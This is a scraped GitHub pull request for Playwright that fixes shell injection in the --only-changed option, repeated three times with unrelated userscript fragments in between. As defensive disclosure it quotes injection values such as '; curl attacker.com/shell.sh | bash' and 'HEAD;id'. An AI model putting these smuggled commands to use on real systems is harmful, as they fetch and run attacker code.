@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Auto-enable theater mode on YouTube
(function() {
function tryTheater() {
var btn = document.querySelector('button[aria-label="Theater mode"], ytd-player #player button[title="Theater mode"]');
if (btn && !btn.classList.contains('activated')) {
btn.click();
}
}
// Try immediately
tryTheater();
// Try after navigation (SPA)
var lastUrl = location.href;
setInterval(function() {
if (location.href !== lastUrl) {
lastUrl = location.href;
setTimeout(tryTheater, 500);
}
}, 1000);
// Also try on player load
var observer = new MutationObserver(tryTheater);
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Remove or un-stick sticky/fixed headers that block content
(function() {
function unstick() {
document.querySelectorAll('header, nav, [role="banner"], .header, .navbar, .sticky, .fixed-top, [style*="position: fixed"], [style*="position:sticky"]').forEach(function(el) {
if (el.style.position === 'fixed' || el.style.position === 'sticky' || getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {
el.style.position = 'static';
el.style.top = 'auto';
el.style.zIndex = 'auto';
}
});
}
unstick();
var observer = new MutationObserver(unstick);
observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });
})();
}
} catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Universal Dark Mode - works on any site
(function() {
var enabled = true;
function applyDarkMode() {
if (!enabled) return;
// Create style element if it doesn't exist
var style = document.getElementById('universal-dark-mode-style');
if (!style) {
style = document.createElement('style');
style.id = 'universal-dark-mode-style';
document.head.appendChild(style);
}
// Dark mode CSS - inverts colors but preserves images/video
style.textContent = '
/* Invert everything except media */
html {
filter: invert(1) hue-rotate(180deg) !important;
background: #1a1a2e !important;
}
/* Restore images, videos, iframes, canvas */
img, video, iframe, canvas, svg, picture, [style*="background-image"] {
filter: invert(1) hue-rotate(180deg) !important;
}
/* Preserve specific elements that should not be inverted */
.no-dark-mode, .no-dark-mode *,
[data-theme="light"], [data-theme="light"],
.ace_editor, .ace_editor *,
.CodeMirror, .CodeMirror *,
.monaco-editor, .monaco-editor *,
.markdown-body pre, .markdown-body pre *,
.highlight, .highlight *,
pre code, pre code * {
filter: none !important;
}
/* Fix common UI elements */
.modal, .popup, .dropdown-menu, .tooltip, .popover {
filter: invert(1) hue-rotate(180deg) !important;
background: #2d2d44 !important;
border-color: #444 !important;
}
/* Scrollbars */
::-webkit-scrollbar { background: #1a1a2e !important; }
::-webkit-scrollbar-thumb { background: #444 !important; }
::-webkit-scrollbar-thumb:hover { background: #555 !important; }
/* Selection */
::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }
::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }
';
}
function removeDarkMode() {
var style = document.getElementById('universal-dark-mode-style');
if (style) style.remove();
}
// Toggle with Alt+Shift+D
document.addEventListener('keydown', function(e) {
if (e.altKey && e.shiftKey && e.key === 'D') {
e.preventDefault();
enabled = !enabled;
if (enabled) {
applyDarkMode();
console.log('[Universal Dark Mode] Enabled');
} else {
removeDarkMode();
console.log('[Universal Dark Mode] Disabled');
}
}
});
// Apply on load
applyDarkMode();
// Re-apply on dynamic content
var observer = new MutationObserver(function(mutations) {
if (enabled && !document.getElementById('universal-dark-mode-style')) {
applyDarkMode();
}
});
observer.observe(document.head, { childList: true });
console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');
})();
}
} catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); }
})();
})();
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman